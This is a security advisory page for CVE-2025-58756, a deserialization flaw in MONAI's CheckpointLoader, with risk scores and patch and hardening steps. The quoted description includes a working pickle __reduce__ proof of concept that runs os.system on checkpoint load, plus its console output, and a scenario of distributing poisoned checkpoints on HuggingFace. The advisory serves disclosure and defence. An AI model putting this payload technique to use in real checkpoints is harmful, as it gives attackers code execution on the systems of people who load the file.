CVE-2025-58756: MONAI: unsafe deserialization in CheckpointLoader allows RCE

GHSA-6vm5-6jv9-rjpj HIGH PoC AVAILABLE
Published September 9, 2025
CISO Take

Any MONAI deployment loading checkpoints from external sources — including HuggingFace or shared drives — is exposed to arbitrary code execution triggered silently at load time, even if the checkpoint fails to apply correctly. Patch to MONAI 1.5.1 immediately and audit all torch.load() calls in your ML pipelines for missing weights_only=True. This is a realistic attack vector in any medical AI or ML training environment that consumes pre-trained models from the internet.

Risk Assessment

Effective risk is HIGH despite the low EPSS (1.2%). The CVSS 8.8 score reflects full RCE with no user interaction beyond the routine act of loading a checkpoint. The critical factor is behavioral context: downloading and loading pre-trained model checkpoints from public registries is standard ML engineering practice, not a suspicious action. Medical imaging and clinical AI pipelines are prime targets due to heavy reliance on transfer learning. An attacker can weaponize this with a single crafted .pt file distributed via HuggingFace, private S3 buckets, or internal model registries. Proof-of-concept confirms execution occurs before — and independently of — any checkpoint validation errors.

Affected Systems

Package Ecosystem Vulnerable Range Patched
monai pip <= 1.5.0 1.5.1
8.1K OpenSSF 7.0 105 dependents Pushed 8d ago 100% patched ~15d to patch Full package profile →

Do you use monai? You're affected.

Severity & Risk

CVSS 3.1
8.8 / 10
EPSS
1.7%
chance of exploitation in 30 days
Higher than 82% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C High
I High
A High

Recommended Action

6 steps
  1. PATCH

    Upgrade to MONAI >= 1.5.1 immediately (fixes CheckpointLoader and all other insecure torch.load() calls per PR #8566).

  2. DETECT

    Grep all internal Python codebases for torch.load( without weights_only=True to find similar patterns in custom code.

  3. WORKAROUND (if patching is delayed): Replace CheckpointLoader with manual loading using torch.load(..., weights_only=True), noting that weights_only=True only supports tensors and primitive types — complex checkpoint formats may require safe_globals allowlisting.

  4. HARDEN

    Implement checkpoint integrity verification (SHA256 hash pinning) before loading any externally sourced model file.

  5. ISOLATE

    Run model loading steps in sandboxed environments (containers with no network egress, seccomp profiles, read-only mounts) to contain blast radius.

  6. AUDIT

    Review all MLOps pipelines that pull from external registries and enforce an allowlist of trusted checkpoint sources.

CISA SSVC Assessment

Decision Track
Exploitation none
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Art. 15 - Accuracy, robustness and cybersecurity Art. 17 - Quality management system — technical documentation
ISO 42001
A.6.2 - AI system supplier relationships A.9.6 - AI system security
NIST AI RMF
GOVERN-6.1 - AI Supply Chain Risk Management MANAGE-2.4 - Treatment of identified AI risks
OWASP LLM Top 10
LLM03:2025 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2025-58756?

Any MONAI deployment loading checkpoints from external sources — including HuggingFace or shared drives — is exposed to arbitrary code execution triggered silently at load time, even if the checkpoint fails to apply correctly. Patch to MONAI 1.5.1 immediately and audit all torch.load() calls in your ML pipelines for missing weights_only=True. This is a realistic attack vector in any medical AI or ML training environment that consumes pre-trained models from the internet.

Is CVE-2025-58756 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-58756, increasing the risk of exploitation.

How to fix CVE-2025-58756?

1. PATCH: Upgrade to MONAI >= 1.5.1 immediately (fixes CheckpointLoader and all other insecure torch.load() calls per PR #8566). 2. DETECT: Grep all internal Python codebases for torch.load( without weights_only=True to find similar patterns in custom code. 3. WORKAROUND (if patching is delayed): Replace CheckpointLoader with manual loading using torch.load(..., weights_only=True), noting that weights_only=True only supports tensors and primitive types — complex checkpoint formats may require safe_globals allowlisting. 4. HARDEN: Implement checkpoint integrity verification (SHA256 hash pinning) before loading any externally sourced model file. 5. ISOLATE: Run model loading steps in sandboxed environments (containers with no network egress, seccomp profiles, read-only mounts) to contain blast radius. 6. AUDIT: Review all MLOps pipelines that pull from external registries and enforce an allowlist of trusted checkpoint sources.

What systems are affected by CVE-2025-58756?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, transfer learning workflows, model serving, MLOps/CI-CD pipelines.

What is the CVSS score for CVE-2025-58756?

CVE-2025-58756 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 1.66%.

Technical Details

NVD Description

### Summary In ```model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)``` in monai/bundle/scripts.py , ```weights_only=True``` is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints. ``` import os import tempfile import json import torch from pathlib import Path class MaliciousPayload: def __reduce__(self): return (os.system, ('touch /tmp/hacker2.txt',)) def test_checkpoint_loader_attack(): temp_dir = Path(tempfile.mkdtemp()) checkpoint_file = temp_dir / "malicious_checkpoint.pt" malicious_checkpoint = { 'model_state_dict': MaliciousPayload(), 'optimizer_state_dict': {}, 'epoch': 100 } torch.save(malicious_checkpoint, checkpoint_file) from monai.handlers import CheckpointLoader import torch.nn as nn model = nn.Linear(10, 1) loader = CheckpointLoader( load_path=str(checkpoint_file), load_dict={"model": model} ) class MockEngine: def __init__(self): self.state = type('State', (), {})() self.state.max_epochs = None self.state.epoch = 0 engine = MockEngine() loader(engine) proof_file = "/tmp/hacker2.txt" if os.path.exists(proof_file): print("Succes") #os.remove(proof_file) return True else: print("False") return False if __name__ == "__main__": success = test_checkpoint_loader_attack() ``` Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed. ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py Traceback (most recent call last): File "/root/autodl-tmp/mmm/p2.py", line 61, in <module> success = test_checkpoint_loader_attack() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack loader(engine) ^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__ Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict) File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects _tree_apply2(_load_object, to_load, checkpoint_obj) File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2 _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k]) File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2 return func(x, y) ^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object obj.load_state_dict(chkpt_obj, **kwargs) File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict raise RuntimeError( RuntimeError: Error(s) in loading state_dict for Linear: Missing key(s) in state_dict: "weight", "bias". Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log checkpoint_pwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa ``` ### Impact Leading to arbitrary command execution ### Fix suggestion Use a safe method to load, or force weights_only=True

Exploitation Scenario

An adversary publishes a MONAI-compatible checkpoint on HuggingFace (e.g., a 'fine-tuned SegResNet for CT liver segmentation') with an embedded Python pickle payload in the model_state_dict field. A medical AI engineer downloads the checkpoint and uses CheckpointLoader — the standard MONAI handler — to load it for transfer learning. When loader(engine) is called, Python's pickle deserializer executes the embedded __reduce__ payload before any structural validation occurs. The malicious command runs as the engineer's process identity (often root in Docker containers used for GPU training), establishing persistence, exfiltrating training data, or pivoting to cloud credential metadata endpoints. The engineer sees only a RuntimeError about state_dict key mismatches — the malicious execution is invisible in the stack trace.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
September 9, 2025
Last Modified
September 26, 2025
First Seen
March 24, 2026

Related Vulnerabilities